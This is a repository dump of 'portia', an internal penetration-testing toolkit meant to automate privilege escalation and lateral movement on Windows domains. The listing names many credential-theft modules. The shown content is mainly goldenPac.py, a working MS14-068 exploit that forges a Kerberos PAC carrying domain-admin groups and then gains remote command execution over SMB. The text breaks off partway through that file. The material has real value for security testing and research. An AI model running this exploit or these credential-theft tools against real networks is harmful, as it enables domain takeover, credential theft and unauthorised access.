Showing preview only (3,319K chars total). Download the full file or copy to clipboard to get everything.
Repository: milo2012/portia
Branch: master
Commit: 4ae375add086
Files: 32
Total size: 3.1 MB
Directory structure:
gitextract_ojbmoonk/
├── README.md
├── deps/
│ ├── __init__.py
│ ├── goldenPac.py
│ ├── ms08-067_check.py
│ ├── ms08_067.py
│ ├── ms14_068.py
│ ├── ndr.py
│ ├── psexec.py
│ ├── secretsdump.py
│ ├── smb_exploit.py
│ ├── smbexec.py
│ └── wmiexec.py
├── install.sh
├── modules/
│ ├── BrowserGather.ps1
│ ├── Bypass-UAC.ps1
│ ├── Get-FoxDump.ps1
│ ├── Get-PasswordFile.ps1
│ ├── Get-SQLServiceAccountPwHash3.ps1
│ ├── Get-VaultCredential.ps1
│ ├── Inveigh.ps1
│ ├── Invoke-Mimikatz.ps1
│ ├── Invoke-TokenManipulation.ps1
│ ├── KeeThief.ps1
│ ├── PowerUpSQL.ps1
│ ├── PowerUpSQL.psd1
│ ├── PowerUpSQL.psm1
│ ├── SessionGopher.ps1
│ ├── WiFi-Password.psm1
│ ├── credit-card-finder.ps1
│ ├── get-applicationhost.ps1
│ └── mem_scraper.ps1
└── portia.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
# portia
Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised
- Privilege escalation
- Lateral movement
- Convenience modules
Portia is a genus of jumping spider that feeds on other spiders - known for their intelligent hunting behaviour and problem solving capabilities usually only found in larger animals
#Slides
https://docs.google.com/presentation/d/1x_1bjCCD5hwJFWzlHM0lEPOHdWUlfYgjkUYBtdBFEmM/pub?start=false&loop=false&delayms=3000
#Videos (Will be adding more soon)
Video that shows privilege escalation via impersonation tokens and running of post exploitation modules
https://asciinema.org/a/45ry3g26devqcabpugwyz4to5
#Dependencies
```
pip install pysmb tabulate termcolor xmltodict impacket
apt install autoconf automake autopoint libtool pkg-config
mkdir /pentest
cd/pentest
git clone https://github.com/libyal/libesedb.git
cd libesedb
./synclibs.sh
./autogen.sh
cd /pentest
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py install
```
================================================
FILE: deps/__init__.py
================================================
================================================
FILE: deps/goldenPac.py
================================================
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!
# Well done :).
# This one also established a SMBConnection and PSEXEcs the
# target.
# A few important things:
# 1) you must use the domain FQDN or use -dc-ip switch
# 2) target must be a FQDN as well and matching the target's NetBIOS
# 3) Just RC4 at the moment - DONE (aes256 added)
# 4) It won't work on Kerberos-only Domains (but can be fixed)
# 5) Use WMIEXEC approach instead
#
# E.G:
# python goldenPac domain.net/normaluser@domain-host
# the password will be asked, or
#
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
#
# if domain.net and/or domain-host do not resolve, add them
# to the hosts file or use the -dc-ip and -target-ip parameters
#
import sys
import cmd
import logging
import os
import random
import string
import time
from binascii import unhexlify
from threading import Thread, Lock
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \
PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
PAC_PRIVSVR_CHECKSUM, PACTYPE
from impacket.examples import logger
from impacket.examples import remcomsvc, serviceinstall
#from impacket.smbconnection import SMBConnection, smb
from impacket.smbconnection import SMBConnection as SMBConnection2
from impacket.smbconnection import smb
from impacket.structure import Structure
import datetime
from calendar import timegm
from time import strptime
from impacket import version
from impacket.smbserver import getFileTime
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5 import transport
from impacket.krb5.types import Principal, Ticket, KerberosTime
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \
AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \
EncTGSRepPart, ETYPE_INFO2_ENTRY
from impacket.krb5.crypto import Key
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from pyasn1.codec.der import decoder, encoder
from Crypto.Hash import MD5
################################################################################
# HELPER FUNCTIONS
################################################################################
class RemComMessage(Structure):
structure = (
('Command','4096s=""'),
('WorkingDir','260s=""'),
('Priority','<L=0x20'),
('ProcessID','<L=0x01'),
('Machine','260s=""'),
('NoWait','<L=0'),
)
class RemComResponse(Structure):
structure = (
('ErrorCode','<L=0'),
('ReturnCode','<L=0'),
)
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
lock = Lock()
totalOutput=""
class PSEXEC1:
def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
self.__username = username
self.__command = command
self.__path = None
self.__domain = domain
self.__exeFile = None
self.__copyFile = copyFile
self.__TGS = TGS
self.__smbConnection = smbConnection
def run(self, addr):
rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception, e:
logging.critical(str(e))
sys.exit(1)
global dialect
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if self.__exeFile is None:
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
else:
try:
f = open(self.__exeFile)
except Exception, e:
logging.critical(str(e))
sys.exit(1)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
installService.install()
if self.__exeFile is not None:
f.close()
# Check if we need to copy a file for execution
if self.__copyFile is not None:
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
# And we change the command to be executed to this filename
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)])
if self.__path is not None:
packet['WorkingDir'] = self.__path
packet['Command'] = self.__command
packet['ProcessID'] = pid
s.writeNamedPipe(tid, fid_main, str(packet))
# Here we'll store the command we type so we don't print it back ;)
# ( I know.. globals are nasty :P )
global LastDataSent
LastDataSent = ''
# Create the pipes threads
stdin_pipe = RemoteStdInPipe(rpctransport,
'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport,
'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport,
'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stderr_pipe.start()
# And we stay here till the end
time.sleep(10)
print "\nPress the [enter] key"
ans = s.readNamedPipe(tid,fid_main,4)
#ans = s.readNamedPipe(tid,fid_main,8)
if len(ans):
retCode = RemComResponse(ans)
#print getOutput()
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
installService.uninstall()
if self.__copyFile is not None:
# We copied a file for execution, let's remove it
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
unInstalled = True
#sys.exit(retCode['ErrorCode'])
except SystemExit:
raise
except:
if unInstalled is False:
installService.uninstall()
if self.__copyFile is not None:
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
sys.stdout.flush()
#sys.exit(1)
def openPipe(self, s, tid, pipe, accessMask):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection2('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
global totalOutput
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
totalOutput+=ans
#sys.stdout.write(ans)
#sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = ''
#[!] Press help for extra shell commands'
#def postloop(self):
# return
def connect_transferClient(self):
self.transferClient = SMBConnection2('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
return
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname, fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line+'\r\n')
return True
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
try:
self.server.writeFile(self.tid, self.fid, data)
except:
pass
return
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (
('Data', PKERB_VALIDATION_INFO),
)
def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
copyFile=None, writeTGT=None, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
hashes=None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00'*16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00'*16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(serverChecksum['Signature']).digest()
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = int(constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = str(pacType)
return encoder.encode(authorizationData)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4, encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append( constants.KDCOptions.forwardable.value )
opts.append( constants.KDCOptions.renewable.value )
opts.append( constants.KDCOptions.proxiable.value )
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype,))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq,'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def getForestSid(self):
logging.debug('Calling NRPC DsrGetDcNameEx()')
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
logging.debug('DNS Forest name is %s' % forestName)
dce.disconnect()
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
